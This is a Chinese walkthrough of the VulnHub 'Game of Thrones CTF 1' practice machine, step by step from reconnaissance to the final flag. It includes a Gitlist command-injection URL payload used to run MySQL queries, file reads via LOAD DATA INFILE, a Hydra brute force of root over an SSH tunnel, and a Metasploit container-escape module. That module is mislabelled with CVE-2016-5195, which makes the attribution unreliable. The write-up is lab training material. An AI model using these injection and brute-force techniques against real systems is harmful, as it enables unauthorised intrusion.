Game of Thrones CTF 1 靶机完全攻略
0x00 靶机说明
- 虚拟机地址: https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/
- 难度较高,但所有破解方法均有提示
- 包含7个主要任务、3个秘密flag和最终任务
0x01 信息收集
初始扫描
-
使用nmap进行Ping扫描确定靶机IP:
nmap -sn 192.168.50.0/22发现靶机IP为192.168.50.215
-
全面扫描:
nmap -p 1-65535 -T4 -A -v 192.168.50.215
Web服务分析
-
访问80端口网站,查看robots.txt发现三个路径:
- /the-tree/
- /secret-island/
- /direct-access-to-kings-landing/
-
在secret-island中发现游戏地图,记录了7个主要任务、3个秘密flag和最终目标
-
修改User-Agent头获取提示:
User-Agent: Three-eyed-raven返回三条重要线索:
- 进入Dorne需要身份为oberynmartell
- 记住数字"3487 64535 12345",用于与"POLITE people"交互
- "野蛮人从未越过长城",需要在越墙前寻找他们
-
发现raven.php页面,提示关注音乐文件
第一个秘密flag
- 下载网站背景音乐
- 使用exiftool查看音乐文件信息:
exiftool music_file.mp3 - 获得第一个秘密flag:
8bf8854bebe108183caeb845c7676ae4
0x02 多恩王国(FTP)
-
发现FTP服务(21端口),banner显示"Sand Snakes"
-
使用三眼乌鸦提示的身份和密码登录:
- 用户名: oberynmartell
- 密码: A_verySmallManCanCastAVeryLargeShad0w
-
登录FTP后找到第一个flag文件
0x03 北境王国(Web)
-
在FTP中发现problems_in_the_north.txt,包含加密密码:
nobody:6000e084bf18c302eae4559d48cb520c$2hY68a -
加密方式为:
md5(md5($salt).$pass)- 使用hashcat-legacy(2.00版本)破解
- 将"$"改为":"符合hashcat格式
-
破解得到密码: stark
-
使用mcrypt解密(密码为上面解密的MD5):
mcrypt -d file -k password -
修改hosts文件添加Winterfell域名解析
-
访问Winterfell网站,查看源代码获得第二个flag
0x04 铁群岛(DNS)
-
分析盾徽图片,使用文本编辑器打开发现隐写信息:
"Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" -
查询DNS TXT记录:
nslookup -qt=txt target_domain -
获得第三个flag
0x05 风暴地(Web管理界面)
-
访问端口10000的Web管理界面
-
使用凭证登录:
- 用户名: aryastark
- 密码: N3ddl3_1s_a_g00d_sword#!
-
使用Java小程序搜索flag.txt文件
- 注意: 可能需要使用IE浏览器并添加例外
-
获得flag
0x06 山谷王国(PostgreSQL)
-
使用nmap发现的PostgreSQL服务(5432端口)
-
登录数据库:
psql -U user_name -d database_name -h serverhost -
查询aryas_kill_list表(死亡笔记)
-
查询braavos_book表,发现ROT16加密信息:
The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis -
尝试死亡笔记中的用户名,发现有效用户:
- 用户名: TheRedWomanMelisandre
- 密码: ValarMorghulis
-
获得秘密flag:
3f82c41a70a8b0cfec9052252d9fd721
0x07 河湾王国(IMAP)
-
使用三眼乌鸦提示的数字"3487 64535 12345"进行端口敲门
-
使用knock工具敲门:
knock target_ip 3487 64535 12345 -
敲门后143端口(IMAP)开放
-
使用nc连接IMAP服务:
nc target_ip 143 -
IMAP命令操作:
a login olennatyrell@7kingdoms.ctf H1gh.Gard3n.powah a list "" * a select INBOX a fetch 1 full -
获得flag和下一站凭证:
aee750c2009723355e2ac57564f9c3db 用户名: TywinLannister 密码: LannisterN3verDie!
0x08 凯岩王国与君临(Gitlist/MySQL)
-
访问1337端口的Gitlist服务
-
发现Gitlist远程代码执行漏洞:
http://target_ip:1337/repo/blob/master/"a"`command` -
利用漏洞查询MySQL:
"a"`mysql -h target_ip -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="show tables;"` -
查询iron_throne表获得摩斯密码
-
翻译摩斯密码得到路径: /ETC/MYSQL/FLAG
-
创建临时表并导入flag文件内容:
CREATE TABLE test (flag TEXT); LOAD data INFILE '/etc/mysql/flag' INTO TABLE test; SELECT * from test; -
获得SSH凭证:
用户名: daenerystargaryen 密码: .Dracarys4thewin.
0x09 最终决战(SSH/Docker提权)
-
SSH登录:
ssh daenerystargaryen@target_ip -
发现digger.txt字典文件,用于暴力破解
-
设置SSH隧道:
ssh daenerystargaryen@target_ip -L 12345:172.25.0.2:22 -N -
使用Hydra暴力破解root密码:
hydra -l root -P digger.txt ssh://localhost:12345获得密码: Dr4g0nGl4ss!
-
SSH登录内部Docker系统:
ssh root@localhost -p 12345 -
发现第三个秘密flag:
a8db1d82db78ed452ba0882fb9554fc9 -
使用branstark账户登录:
用户名: branstark 密码: Th3_Thr33_Ey3d_Raven -
利用Docker提权漏洞(CVE-2016-5195):
- 使用Metasploit的exploit/linux/local/docker_privileged_container_escape模块
-
提权后找到checkpoint.7z文件
-
组合三个秘密flag的最后10位生成密码:
str1="8bf8854bebe108183caeb845c7676ae4" str2="3f82c41a70a8b0cfec9052252d9fd721" str3="a8db1d82db78ed452ba0882fb9554fc9" password = str1[-10:] + str2[-10:] + str3[-10:]密码:
45c7676ae4252d9fd7212fb9554fc9 -
解压checkpoint.7z获得最终flag:
8e63dcd86ef9574181a9b6184ed3dde5
0x0A 总结
-
所有flag汇总:
- 7个主要flag
- 3个秘密flag
- 最终flag
-
破解所有MD5 flag可组合成完整信息
-
靶机设计特点:
- 高度还原《权力的游戏》场景
- 每个环节都有明确提示
- 涵盖多种渗透测试技术
参考资料
- http://k3ramas.blogspot.com/2017/11/game-of-thrones-ctf-1-walkthrough_1.html
- https://blog.vonhewitt.com/2017/11/game-thrones-ctf-1-vulnhub-writeup
- https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf